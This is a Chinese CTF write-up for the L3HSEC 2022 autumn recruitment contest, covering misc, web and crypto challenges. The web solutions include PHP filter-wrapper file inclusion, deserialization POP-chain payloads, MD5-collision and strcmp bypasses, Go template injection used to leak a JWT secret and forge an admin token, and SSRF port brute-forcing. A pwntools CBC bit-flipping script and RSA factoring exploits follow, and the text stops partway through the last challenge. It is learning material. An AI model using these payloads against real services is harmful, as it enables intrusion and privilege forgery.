L3HSEC 2022秋季招新赛部分WP

Misc(未解出)

2022 Fall Signin

蹲着等了一分钟,手速没拼过,错失前三
Flag:L3HSEC{w3lc0m3_L3HSEC@2022_FALL}直接提交即可

QRShuffle

观察很久没观察出个啥隐藏信息,于是只能用定位角来筛选每一行所能够放的图片,然后拼接用cv2的qrdetector来尝试识别,最后还是失败了,附上写的筛选代码和手筛推出的结论

import random
import cv2
import os
import numpy as np
def png2array(path):
    png = cv2.imread(path)
    gray = cv2.cvtColor(png, cv2.COLOR_BGR2GRAY)
    row = np.empty([1, 29], dtype=int)
    for i in range(29):
        row[0][i] = 1 if gray[0][i * 10] == 0 else 0
    return row
img = dict()
img_list = list()
for root, dir, files in os.walk('./qrslices'):
    for file in files:
        img[file] = png2array(os.path.join(root, file))
        img_list.append(file)

width_i = 290
height_i = 10
row_max = 29

def check(list):
    global toImage
    detector = cv2.QRCodeDetector()
    for i, img_name in enumerate(list):
        png4concat = cv2.imread(os.path.join("./qrslices", img_name))
        if i == 0:
            toImage = cv2.imread(os.path.join("./qrslices", img_name))
        else:
            toImage = cv2.vconcat([toImage, png4concat])
    cv2.imshow('img', toImage)
    try:
        res, points, code = detector.detectAndDecode(toImage)
        # print(res, points, code)
        if res:
            with open('./flag.txt', 'a') as f:
                f.write(res)
            cv2.imwrite('./test{0:d}.png'.format(random.randint(1,10000)), toImage)
    except:
        cv2.imwrite('./error{0:d}.png'.format(random.randint(1, 10000)), toImage)
    #     toImage.save("./test.png")

    # img = cv2.Image.fromarray(martix)


def Rerange(list1, start, end):
    i = 0
    if start == end:
        # print(list1)
        # got a range
        flag=1
        print(list1)
        for i, img_name in enumerate(list1):
            row = img[img_name][0]
            if (i == 0):
                if not (all(row[0:7] == 1) and row[7] == 0 and row[21] == 0 and all(row[22:] == 1)):
                    flag=0
                    break
            if (i == 1 or i == 5):
                if not (row[0] == 1 and all(row[1:6] == 0) and row[6] == 1 and row[7] == 0 and
                        row[21] == 0 and row[22] == 1 and all(row[23:28] == 0) and row[28] == 1):
                    flag = 0
                    break
            if (i == 2 or i == 3 or i == 4):
                if not (row[0] == 1 and row[1] == 0 and all(row[2:5] == 1) and row[5] == 0 and row[6] == 1 and row[
                    7] == 0 and
                        row[21] == 0 and row[22] == 1 and row[23] == 0 and all(row[24:27] == 1) and row[27] == 0 and
                        row[28] == 1):
                    flag = 0
                    break
            if (i == 6):
                if not (all(row[0:7] == 1) and row[7] == 0 and row[21] == 0 and all(row[22:] == 1)):
                    flag = 0
                    break
                if not (all(row[8:21:2] == 1) and all(row[9:20:2] == 0)):
                    flag = 0
                    break
            if (i == 7):
                if not (all(row[0:8] == 0) and all(row[21:] == 0)):
                    flag = 0
                    break
            if (i >= 8 and i <= 20):
                if (i % 2 == 0):
                    if not (row[6] == 1):
                        flag = 0
                        break
                    if (i == 20):
                        if not (all(row[20:25] == 1)):
                            flag = 0
                            break
                else:
                    if not (row[6] == 0):
                        flag = 0
                        break
            if (i == 21):
                if not (all(row[0:8] == 0) and row[8] == 1 and row[20] == 1 and all(row[21:24] == 0) and row[24] == 1):
                    flag = 0
                    break
            if (i == 22):
                if not (all(row[0:7] == 1) and row[7] == 0 and row[20] == 1 and row[21] == 0 and row[22] == 1 and row[
                    23] == 0 and row[24] == 1):
                    flag = 0
                    break
            if (i == 23):
                if not (row[0] == 1 and all(row[1:6] == 0) and row[6] == 1 and row[7] == 0 and row[20] == 1 and all(
                        row[21:24] == 0) and row[24] == 1):
                    flag = 0
                    break
            if (i == 24):
                if not (row[0] == 1 and row[1] == 0 and all(row[2:5] == 1) and row[5] == 0 and row[6] == 1 and row[
                    7] == 0 and all(row[20:25] == 1)):
                    flag = 0
                    break
            if (i == 26 or i == 25):
                if not (row[0] == 1 and row[1] == 0 and all(row[2:5] == 1) and row[5] == 0 and row[6] == 1 and row[
                    7] == 0):
                    flag = 0
                    break
            if (i == 27):
                if not (row[0] == 1 and all(row[1:6] == 0) and row[6] == 1 and row[7] == 0):
                    flag = 0
                    break
            if (i == 28):
                if not (all(row[0:7] == 1) and row[7] == 0):
                    flag = 0
                    break
        if(flag):
            check(list1)
    else:
        for i in range(start, end + 1):
            list1[start], list1[i] = list1[i], list1[start]
            Rerange(list1, start + 1, end)
            list1[start], list1[i] = list1[i], list1[start]
Rerange(img_list, 0, len(img_list) - 1)

手筛的结果:list后面的序号表示这几个位置从这个list的元素中选,最后共剪枝到12,441,600种可能,虽然最后还是没发现

list_1_5 = ["19.png", "28.png"]
list_1_5s = []
Rerange1(list_1_5, list_1_5s, 0, len(list_1_5) - 1)
list_2_3_4 = ["4.png", "8.png", "24.png"]
list_2_3_4s = []
Rerange1(list_2_3_4, list_2_3_4s, 0, len(list_2_3_4)-1)
list_8_10_12_14_16_18=["3.png","12.png","10.png","17.png","21.png","23.png"]
list_8_10_12_14_16_18s=[]
Rerange1(list_8_10_12_14_16_18, list_8_10_12_14_16_18s, 0, len(list_8_10_12_14_16_18)-1)
list_9_11_13_15_17_19=["0.png","13.png","15.png","25.png","7.png","9.png"]
list_9_11_13_15_17_19s=[]
Rerange1(list_9_11_13_15_17_19, list_9_11_13_15_17_19s, 0, len(list_9_11_13_15_17_19)-1)
list_25_26=["27.png","5.png"]
list_25_26s=[]
Rerange1(list_25_26, list_25_26s, 0, len(list_25_26)-1)
final_list = ["22.png"]

sum=6*5*4*3*2*1*6*5*4*3*2*1*6*4
with tqdm.tqdm(total=sum) as pbar:
    for i_1_5 in list_1_5s:
         tmp_1_5 = list(final_list)
         tmp_1_5.append(i_1_5[0])
         for i_2_3_4 in list_2_3_4s:
            tmp_2_3_4=list(tmp_1_5)
            tmp_2_3_4+=i_2_3_4
            tmp_2_3_4.append((i_1_5[1]))
            tmp_2_3_4.append("6.png")
            tmp_2_3_4.append("1.png")
            for i_8_10_12_14_16_18 in list_8_10_12_14_16_18s:
                for i_9_11_13_15_17_19 in list_9_11_13_15_17_19s:
                    tmp_LL = list(tmp_2_3_4)
                    for i in range(0,6):
                        tmp_LL.append(i_8_10_12_14_16_18[i])
                        tmp_LL.append(i_9_11_13_15_17_19[i])
                    tmp_LL.append("2.png")
                    tmp_LL.append("20.png")
                    tmp_LL.append("26.png")
                    tmp_LL.append("18.png")
                    tmp_LL.append("14.png")
                    for i_25_26 in list_25_26s:
                        tmp_25_26=list(tmp_LL)
                        tmp_25_26+=i_25_26
                        tmp_25_26.append("11.png")
                        tmp_25_26.append("16.png")
                        #print(tmp_25_26)
                        check(tmp_25_26)
                        pbar.update(1)

图片套中套

拿到文件,打开发现里面有一张图片,但是无法显示,winhex查看一下
文件头
发现文件头是50 4B 03 04,是压缩文件,将后缀改为zip,打开发现里面有一张图片,解压发现需要密码:
需要密码分析发现是伪加密,使用ZipCenOp.jar修改后打开压缩包,得到图片:

修复伪加密
用stegsolve打开发现一直卡住,且在kali中无法打开,猜想文件格式错误,可能有隐藏信息,pngcheck一下
CRC error用winhex打开,发现IEND后还有一大块数据:
隐藏数据

之后就不会了,真misc一道都不会

WEB

Easyphp

打开页面,审计源码

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the l3hsec_ctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

需要传入两个参数满足条件:

  • text:使用php伪协议(input和data都可)传入文件内容
    • payload:php://input
    • POST data:welcome to the l3hsec_ctf
  • file:使用filter协议读取(很容易猜到flag过滤是因为useless.php中含有flag),因此使用base64+filter绕过
    • payload:?file=php://filter/read=convert.base64-encode/resource=useless.php

输入构造好的payload,解码后得到useless.php源码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

因此只需要让file=flag.php,然后把序列化的对象作为password的值输入即可

<?php  
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$flag= new Flag();
echo($flag);
?>  

最终的payload:
text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
POST DATA:welcome to the l3hsec_ctf
查看源码得到flag

Easyphp_plus

扫描目录,发现source.php

<?php
error_reporting(E_ALL || ~E_NOTICE);
$text = $_GET["text"];

$password = $_GET["password"];
if (isset($text) && (file_get_contents($text, 'r') === "welcome to the l3hsec_ctf")) {
    echo "we meet again !";
    echo "<br><h1>" . file_get_contents($text, 'r') . "</h1></br>";
    if (preg_match("/flag/", $file)) {
        echo "Not now!";
        exit();
    } else {
        echo "next part!<br>";
        if (strcmp($_POST['str1'], $_POST['str2']) == 0 && $_POST['str1'] != $_POST['str2']) {
            echo "clever guy!<br>";
            echo "now go to final part!<br>";

            if ((string)$_POST['final_str1'] !== (string)$_POST['final_str2'] && md5($_POST['final_str1']) === md5($_POST['final_str2'])) {
                echo "u are really clever !";
                $file = $_GET["file"];
                include($file);  //really_useless.php
            }
        }
    }
} else {
    highlight_file(__FILE__);
} 

需要满足条件:

  • text:使用php伪协议(由于还要传入其他POST数据,所以text不能用input协议)传入文件内容
    • text=data://text/plain,welcome to the l3hsec_ctf
  • 数组绕过strcmp检测
    • str1[]=1&str2[]=2
  • 由于有string转换类型,因此不能用数组绕过
    fastcoll生成MD5相同的文件,因为有不可见字符,URL编码后传输
    • final_str1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
    • final_str2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
  • 对文件内容有过滤,file伪协议采用base64编码传输
    • file=php://filter/read=convert.base64-encode/resource=really_useless.php

最终得到really_useless.php文件:


class Test
{
    public $p;
    public function trick(){
        echo "wrong!";
    }
    public function __construct()
    {
        $this->p = $this->trick();
    }

    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}


class Attention
{
    protected  $var;
    public function include_file($value)
    {
        include($value);
    }
    public function __invoke()
    {
        $this->include_file($this->var);
    }
}

class Show_str
{
    public $path;
    public $str;

    public function __wakeup()
    {
        if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->path)) {
            echo "no way!";
            $this->path = "index.php";
        }
    }

    public function __construct($file = 'index.php')
    {
        $this->path = $file;
        echo 'Welcome to ' . $this->path . "<br>";
    }
    public function __toString()
    {
        return $this->str->path;
    }

}

if (isset($_POST['pop_chain'])) {
    @unserialize($_POST['pop_chain']);
}

审计源码,发现需要构造一条POP链,思路如下:

  1. 首先寻找危险函数,发现类Attention中有危险函数include ,要利用include读取flag.php,就肯定要调用invoke
  2. $this->p传递为class Attention的对象就会自动触发invoke()
  3. $str传参为Test的对象,Test中没有path方法就会调用get()
  4. pathShow的对象,在construct的时候因为echo,就会自动调用toString()

__wakeup()是自动调用的,整个链条就形成了

__wakeup() => __toString() => __get() => __invoke() =>include(flag.php)

构造序列化数据

<?php
class Attention{
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show_str{
    public $path;
    public $str;
    public function __construct($file='index.php'){
        $this->path = $file;
    }
     }
class Test{
    public $p;
}
$a=new Show_str();

$a->str=new Test();
$a->str->p=new Attention();
$b=new Show_str($a);
echo urlencode(serialize($b));//url编码因为protected和private类型的变量反序列化的时候会有00*00,编码后可不用管
?>

得到URL编码的反序列化数据,传输得到flag.php的base64编码,解码即可
flag.php

gogogo

分解一下源码,就以下几个功能:

注册:http.HandleFunc("/regist", regist_handler)

func registHandler(res http.ResponseWriter, req *http.Request) {
	uid := req.FormValue("id")
	upassword := req.FormValue("password")

	if uid == "" || upassword == "" {
		return
	}
	if getAccount(uid).id != "" {
		res.WriteHeader(http.StatusForbidden)
	}
	if len(accounts) > 1024 {
		clearAccount()
	}
	newAcc := Account{uid, upassword, false, secret}
	accounts = append(accounts, newAcc)

	p := Res{true, "Registration success"}
	response, err := json.Marshal(p)
	if err != nil {
		res.WriteHeader(http.StatusInternalServerError)
	}
	res.Write(response)
}

注册一个账户:
/register?id=111&password=123
regist登陆:http.HandleFunc("/auth", authHandler)

func authHandler(res http.ResponseWriter, req *http.Request) {
	uid := req.FormValue("id")
	upassword := req.FormValue("password")
	if uid == "" || upassword == "" {
		return
	}
	if len(accounts) > 1024 {
		clearAccount()
	}
	userAcc := getAccount(uid)
	if userAcc.id != "" && userAcc.password == upassword {
		token, err := jwtEncode(userAcc.id, userAcc.isAdmin)
		if err != nil {
			res.WriteHeader(http.StatusInternalServerError)
		}
		p := Res{true, token}
		response, err := json.Marshal(p)
		if err != nil {
			res.WriteHeader(http.StatusInternalServerError)
		}
		res.Write(response)
		return
	}
	res.WriteHeader(http.StatusForbidden)
}

登陆注册的用户:
regist发现一个有点像模板注入的东西:解码jwt token得到id,根据id取对应的account

func indexHandler(res http.ResponseWriter, req *http.Request) {
	token := req.Header.Get("lToken")
	if token != "" {
		id, _ := jwtDecode(token)
		nowAccount := getAccount(id)
		// 可能是模板注入
		templ, err := template.New("").Parse("Logged in as " + nowAccount.id)
		if err != nil {
			res.WriteHeader(http.StatusInternalServerError)
		}
		templ.Execute(res, &nowAccount)
	} else {
		res.Write([]byte("Not logged in"))
	}
}

flag handler验证id_admin是不是true

func flagHandler(res http.ResponseWriter, req *http.Request) {
	token := req.Header.Get("lToken")
	if token != "" {
		id, isAdmin := jwtDecode(token)
		if isAdmin {
			p := Res{true, "Hi " + id + ", flag is " + flag}
			response, err := json.Marshal(p)
			if err != nil {
				res.WriteHeader(http.StatusInternalServerError)
			}
			res.Write(response)
		} else {
			res.WriteHeader(http.StatusForbidden)
		}
	}
}

而解开jwt token需要sercet_key,因此思路是利用ssti得到secret_key,伪造jwt得到flag
payload:{{.}}

直接使用{{.}}会不显示,我猜想是有什么过滤之类的,随便加点东西11{{.}},然后登陆得到token,使用得到的token访问/,得到secret_key
secret使用secret_key伪造jwt token

伪造token
访问getFlag,得到答案
getFlag

PySSRF

根据提示,尝试访问127.0.0.1,发现被过滤,访问127.0.0.2绕过过滤,进行端口爆破,发现14514端口响应长度不同,查看响应得到flag

爆破端口flag

Crypto

EasyAES

分析task.py,得到以下几个信息:

  1. 采用AES算法处理输入的数据,采取CBC模式加密
  2. 解密验证除去padding字符外的后五位是否为admin,如果为admin,则将去除了padding字符的原文返回
  3. 输入的内容会经过处理再加密:先加上前缀"flag=" + flag+ “&userdata=”,然后跟上输入的内容,最后加上后缀
    “&user=guest”

因此思路非常明晰:修改加密后的内容,使得guest变成admin,然后通过检查输入明文
注意到guest和admin的长度一致,采用CBC翻转攻击恰到好处,具体原理参照这篇

最终的脚本:

from hashlib import sha256
import string
from pwn import *
import binascii
from pwn import *
import base64
import binascii
context.log_level = 'debug'
pad = 16
# r = remote("ctf.l3hsec.com",40000)
BANNER = rb'''
    ______                 ___    ___________
   / ____/___ ________  __/   |  / ____/ ___/
  / __/ / __ `/ ___/ / / / /| | / __/  \__ \
 / /___/ /_/ (__  ) /_/ / ___ |/ /___ ___/ /
/_____/\__,_/____/\__, /_/  |_/_____//____/
                 /____/
'''
x=40
r = remote("ctf.l3hsec.com", 40000)
_, __= r.recvline_startswith('sha256(XXXX').split(b'+')
proof_right,___=__.split(b')')
proof_right=proof_right.decode()
hash_value=___.split(b'==')[1].strip().decode()
alphabet = string.ascii_letters + string.digits
BLOCK_SIZE=16
idx = (22+x+pad)%BLOCK_SIZE + ((22+x+pad) // BLOCK_SIZE -1 ) * BLOCK_SIZE
for i in alphabet:
    for j in alphabet:
        for k in alphabet:
            for l in alphabet:
                nounce = ""
                nounce += i
                nounce += j
                nounce += k
                nounce += l
                proof = nounce + proof_right
                if (sha256(proof.encode()).hexdigest() == hash_value):
                    r.sendline(nounce)
                    r.sendlineafter(b'> ', b'1')
                    #这样能把最后加密的明文控制在79,padding一个0刚好80为分组长度整数倍
                    data = b'a' * 13 
                    r.sendlineafter(b'Input your data > ', data)
                    temp = r.recvline()
                    cipher = list(binascii.unhexlify(temp[:-1]))
                    BLOCK_SIZE = 16
                    prefix = b'flag=' + b'a' * x + b'&userdata='
                    suffix = b'&user=guest'
                    plain = prefix + data + suffix
									# idx = 79-1(pad)-5-16+1=58 
                    idx=58
                    cipher[idx + 0] = cipher[idx + 0] ^ ord('g') ^ ord('a')
                    cipher[idx + 1] = cipher[idx + 1] ^ ord('u') ^ ord('d')
                    cipher[idx + 2] = cipher[idx + 2] ^ ord('e') ^ ord('m')
                    cipher[idx + 3] = cipher[idx + 3] ^ ord('s') ^ ord('i')
                    cipher[idx + 4] = cipher[idx + 4] ^ ord('t') ^ ord('n')
                    print(cipher)
                    stemp = ''
                    for i in cipher:
                        stemp += '{0:02x}'.format(i)
                    r.sendlineafter(b'> ', b'2')
                    r.sendlineafter(b'Input your data > ', stemp)
                    msg = r.recv().decode()
                    if 'you are not admin' not in msg:
                        print(msg)
                        break
r.close()

最终得到flag

flag

babylattice

按照提示不用管密钥生成和加密方式,但是我觉得还是得看下密钥生成方式,手推一次加解密过程才知道怎么去找对应的解法

密钥生成和加解密过程可以看到密钥生成方式是中国剩余定理,根据题目的提示采用LLL算法,搜索相应关键字“基于中国剩余定理的加密算法”、“SVP”,找到这篇文章
规约到SVP攻击
根据这篇文章,exp如下:

from Crypto.Util.number import *
from gmpy2 import *
b = 4189473361699107217737455396325088183647459520762101844169276157097419075741053441908981220101313628265591679932243646157798614301613216353417792680603839858901174261567329713633368998538198056432420816170813002537470510824573399752841629555419679351092677995791781611216455311460445828456846800858725856162256100067573160931447899995435540614262179047903010321235756321175798141083436561191248808099344601597758766820841247581087589633697583254347697761793900573665246657473720690746138551714675250189501879568866675887888686723079957824448238872953452272361956750464846476924307112817686274952080706114911155289034
n = 30170308825909440240941693170939367334844821029782821583570286983621317423766747822577757211569710529434922653573394476313387108250546033911130407881340763005349634115809559639000580648954090023789960388140320537310747484117427519820928316981758092673239883392417557736050921582197605939646396980954720533323414256630686099446261753358351411238396130783891149857357027291221573230409509048705778418933333222633966392788758816068035934002821259179676663605591341303639187677648104559149755696406916456100816247187169100673215113617431212731694921337661569998483380390854882572497881679266213674621353132753251285674879
c = 19661634891727868222099095136901659122829263085237461320517222981876652326584941755935506785466085397036381223656214442840957349568180244494668190067815213431417256096310086121818289755995699360954357693424193788225178162274067850236827814176875911714566055084460381321125690331794418319416858945534037236453043872268977446605497332255455791777458776451967443335677366617943606110582961257994038716809851649891403946938458466692396540759794689041919886188803459600803037044031173965809992390886542083555310737152473443561114918788410017103228518549269127033118974044150781161071975706470208883873841803874769550571522
c0= getPrime(384)
print(c0)
M = Matrix([[c0,c,0], [0, n,0],[0,b,1]])
c0,r,m=M.LLL()[0]
print(abs(c0))
print(abs(r))
print(abs(m))
m=635792580719987487237521719205940515395485350520512925835933137041624512543082883368059187508605
print(long_to_bytes(m))
#L3HSEC{5b820f48d1343d31363cc0dac13f6a45}

Enumerate

根据题目观察到,dp的范围很小,可以枚举dp,利用dp的方式推导如下:

dp推导
得到p后常规方式解密即可,因此exp如下:

import gmpy2
from tqdm import tqdm
from Crypto.Util.number import *

e = 9740781703255167949548123833848215149877626495081674933142965833082481258763865707394139077323296213902576949525913789361227955594348739778431568575200626895877575505323576444925031191752727771006703809829661370655525453928637863429255767149436602506308217376851087219374068619428331249987945029230645195675365532084992172677730849508489796968035620029349007985088753700265630944472728606629666980931589653596536113250131391348183113731287183970926226775901059693777416386060232254013038521518675853176199355416657186428116869781176129682611345114490715380905522488854076217805953516080743984818977772510583599165735839947549121286248871957626787616620758307637455779386102223263163159704189933161215617684365136652215048721464423890172392837117499545210952758632649460511770369227301511754763524945623877479483272848832957727752908537766989174534584178325252590507812487070473324909694680145939059475164290107680204220843
n = 11357659237666674240934225650391720822390721411452960439881947096105621174907351048346074927045069888978545428551201151720025746283825826680089265987635245602830278152775526322284079045425029614153114122274852867020863183564566383266771779753113268775452055147839364280217785501763602013410444043430296433087648490237502969276137406959871089025763302898032365525302466212940057329970006464665158381696891629915747198606169376463888484997648951753716250228670296683149437147468190405098264714157319310013875051869172049772174474421632876993462750616436198655419004432906183104359396291098129598907614245732147810886674660972882945098621568901552565568789643050245058975004065076083918362123951478516142404319720427704877611945660779061188295887840206292880785654832673219313976166018329236350345410958364451116766528032072551273749780134377286501549470464581380266571495326862431452362532393190442596165340428148379457549853
c = 1131977991988855066836892559519102207408389404589146139755618624579609057043505264198231412434810590033448922113978363490216414481634255152515339530378094931124211926205934960308171369849646157354571769943343892303056766595323897957933529009255763771136887899951354696979354358287194937861107926637351718834851868538485277199969096361570170668230845028674639022656371805283155005125382578519862624232820526466122735438576704510740565677790504486181307338390152665031018372392185896360680634433567740175635802241889019357079063737919124911215414577755467068028318581704439240642134533337632917147914689118763552596456783600957736581898954687392934717182573492836069212047607447109589346717662253654983985776731863661502199327024116991484495789879610980113057721444254373434771811794021887841371612297493485477292587673302680012021201748037361650835964264374321655771163859216207663133566121792757560084636452186401825189222
N = gmpy2.mpz(n)
E = gmpy2.mpz(e)
C = gmpy2.mpz(c)
m = 1000000007
sp = gmpy2.powmod(m, e, N)

for dp in tqdm(range(1, 2 ** 24)):
	p = gmpy2.gcd(gmpy2.powmod(sp, dp, N) - m, N)
	if (p != 1):
		print(p)
		break
p = 10908066707177146155904250318930229417482273071398885295926728094305127359974260239186202297547236800858997957266511471068768263205127603236179680718768696952960183605175357400195059272632703121592370484512734828603038877452481864196442331534258474372145057809104614707943592508823488426161331793579065117253
P = gmpy2.mpz(p)
q2 = N//P
q = gmpy2.iroot(q2,2)[0]
print(q)
D = gmpy2.invert(E, (q - 1) * q * (p-1))
M = gmpy2.powmod(C, D, N)
print(long_to_bytes(M))

最后得到flag:L3HSEC{e45a97feae04d7f0dcd7755694c09cc0}

factor1

已知e、d、n求p、q,算法证明如下:
已知e、d、n求p、q故exp如下:

from Crypto.Util.number import *
import gmpy2
import random
n = 780491159925374078079694766172000112950674266127159263270904266398457665489354488598985941459209996685747761696777261230244236610716395558987373054967279280159580287538529727244218639449643929440865261610239602189450389207521041946919358523747975699917497871075699552393581503787516690113483532766199910971787868995714516467423433538247037790983728676059295803524400509301044135187330649580649701407044241781143533230324291243220825066967574348343353624065465087675047146386017470164891254218722752572488498240694199913603131490703180540048971402063303991580464615594734567990113147243077450666339795682517203172570876220775446186236450127617733559900806705499120489254188977149657296512187018967198020650948891695638805889187309932139521044745682261094834856259036813808181896607991255604746298933463668645117545004072621788455138197000330901630155082520569312093628925418370636159398049007329481747978596918008442791298688187139258866198132191837822471839643273442018433390971982814642749608613805109743747313588832557028300817214342192313987931035043475884455221933854613667004304141650468718022743012236173327841920034753252453775123951583991969794858384056834905390640209954651686519896265355772982051671379676757359575060742723
x = 20411848151378778016021803257438162337639089296187764247925600674104035552981977642978371218318611568638490506396339780498058301852395770360071122379698196812117948321508424934068797092140436657845682361810053840168055524473477202168213775670997378732040111468862939212556900197363131996311741573746990904411115715872661489100086033760275739668800190137913167573970033993514666751741226260035785329166334734757191558717651333225113959727871479658906094705774208360281497238533503105609682480071403252741426708436390865708907888117032825241389494475425886504319130195431793037445260242623713145210314584241783174172747
c = 517437151614395774387934943212894827067328552331077589669043762423544310921356670216891443155584342926711113867553500472357535252808031682503510895829490773147392607043697244218561563739743114702355943455565405905417116942187606904090237019476603953433668816891848300281327453830871126385209424075838535538623254412298984796500478823593325893555498501563168013679241209030186498185297427186554402590002275699484261269709992031426037140540498839177355106593456865036241923942917669397198866986022864334545984739400097593415485834943750798676683727753480955318814185133341123525440706890929292281015288040042731291601924151890223448530581203669896774463659269512047333068238428853293932576322075444262051216411258458292023225031204970362270649057726281284601625783197675852595671412747443260513971581699862845237699332242005839575745947303852385431216201241930220626144968322663681338897810888243583899676882893601271624301966607787966390924785266958954787097563994306672053350780074888418831475872549371164112472990483830948421605126478428372400039240280417434171996117288261657858789757782308315872826687094337842469282706662480473882262395476466905923042513044547589058272453266351579995009973913777804682276848830094685543948594943
kphi = n*x - 1
def getpq(n,e,d):
    while True:
        k = e * d - 1
        g = random.randint(0, n)
        while k%2==0:
            k=k//2
            temp=gmpy2.powmod(g,k,n)-1
            if gmpy2.gcd(temp,n)>1 and temp!=0:
                return gmpy2.gcd(temp,n)
fac1 = getpq(n,n,x) #pq
fac2 = n//fac1 #p^2
p= gmpy2.iroot(fac2,2)[0]
q = fac1//p
e = 0x10001
d = inverse(e,pow(p,2)*(p-1)*(q-1))
m = pow(c, d, n)
print(long_to_bytes(m))

得到flag:L3HSEC{ece13b084c54fe6b1e8e65e213e67ec7}

factor2

factor2解题思路1
接下来由399.pdf (iacr.org) 的部分结论
399结论得到:
factor2解题思路2
a的大小能够先计算出来,而x的大小可以用copper-smith算法求得(图源):
copper-smith
求解p,q
故exp如下:

from Crypto.Util.number import *
import gmpy2,hashlib
# sagemath
c = 64348560778210035485799671390154695897453592495407073065506104275617393737946246692622951028425078089778024895362893050850450470916956316819587441719985900367828161351188490093123567264735778073437159834204089867077987956939775879953564294829553161064997967332581428673347982657437106382140809532325583705612
N = 1078539747919673853919411204899228458878633778262324459385355713547566400004697903143330733969460010964398164028359499880899877828002215794175086743848297049288335697358143839723719222579706965442134154325889887674023840975769329825236531811285711766133187639497583153819957992824026123680262593318303379138225078268891436748091757857603215315962019382381765076316901889216313808782503539248571640394389007482110017169252023994063210033365778681157210401434951579215165060975359306095159714917332816715649519729877273253846247285046471178485525863453986133031276931316829008726108819000563789319413166779681161986401205940637150305118565905215777131019985357664705108010875158854683168085163002091159684306358744358777540257830877172397351494204783426969363655396993615748602920419791070799044268664971577463432327953343062973486069419816472941434309710007779740116747587858432558104082669671984047964456830876875541717006339
e1 = 559147556710870967152736763021253558035580508696715241651085899110170858881432001991300403655368510400761899365466999902402340069800653268981599333175020503773490940620023403052013452083038161581725192457329104566393575541090603145652823629859833945114984160010248317499867341549554557763084136841210113299448578404652675609039996313385053372863174211224353291169563464103565740587064837549134155520904845421447974116498694893094841467418344681252560945914252173708682940993710868173242625840633222001873907486791968090037854085606329477339793562636375532934681663222430175247233404379910746963929875234006959799252491831321148495329132557398814730196262395338356058212655307239751393451886761936177607021228945200257522315975354755715426336651910772499613226636071592463946305758874388403964335933812656037104788601811395942384577129926237110009954635975292118494226469146239832309237338972246345667464131095112354129424923
e2 = 184913331005658981413860627187724764115450270160234476671196285425093281141286141663637211483658566771223583127974895155580959434458085915781983791773036811496260126835859427231977289002809122452792252735892425752782624552058821572533274672550457033380029604401037863530125687191345879813341810855133665260614657339594421397678065507044776241168822131895054665081000651078616961235733580528753120435627071612259406536893675916118594179986988895048136713596913923856391426754274273067536919043273532453310646294138027855669891428145024027693565201665768447983425793779957101096313895681570865564145995084987335722177704185643085354735810704707921213622403116694916492986431102717619649567390642729559098846715054129674856021858993927148109961825287423881475496664658264576213335217347578857676593778280473024731290373873709198694435757416317195947118090084708407952592268222792565652148918136760497897617149042261344439096843
e = 0x10001
# r = 5
# a = (e2 - e1) * gmpy2.invert(e1*e2,N) % N
#
# # assert a < N
# P.<x> = PolynomialRing(Zmod(N))
# f = x - a
# x = f.small_roots(X = 2^1000,beta = 0.4)
# x = x[0]
# k_phi = e1*e2*x - (e2 - e1)
# p_ = gcd(k_phi,N)
#
# p = gmpy2.iroot(int(p_),r - 1)[0]
# print(p)
# q = N // (p**r)
# print(q)
# python 得到pq填进来
p = 10134252723158601275003401522062911941019213178377309828899216057830309479124971513229375798244460254309472951083952534414181570421639637062378074545198567
q = 10089682575064609822335162261808299507782354278526589188667180497420394623894782442835864203666572501413895127989042146506692875908676883121823556370595877
n = p*q
print(n)
print(N)
phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e,phi_n)
# # print(n)
m = pow(c,d,n)
print(m)
#python
print(long_to_bytes(m))

得到flag:L3HSEC{dfb3d3de9415a97de10db5e2bb37e989}

factor3

首先观察到p,q相近,因此可以用fermat分解分解n,用yafu分解n得到p、q
根据提示这是paillier加密系统,查一下有关资料
paillier
因此exp如下:

from Crypto.Util.number import *
import gmpy2, hashlib
n = 22889982902417034800127488615522188269161335611128463175153634895761490768123310672181751076395496184287173971404460091604335144824937803268739072522772160429129114533289466803329478478610768475259393484505796849105644413094592553931614430108309044763123253519039288636875662172527111175175504306433174562237342839974296015394507497064555838288513379826263041151256818682477662822883279390498732000378420631353274173497837036168507421039979553165402819147514403204718848808453925691188944881096556885227979301201958233825246300664680118714644725554763486058397565152855367885599037125097745700481608993746107199627361
g = 118512866713154684097758336076373272543604752247794247908195648184919283682465530594891138891242684408084813526269774836670746989713370905399929806878522988087894384549545727992095909179831937754821845237920552212448799864376452076230461633904068132380583549598486236346126066975066934707087357849706146422147
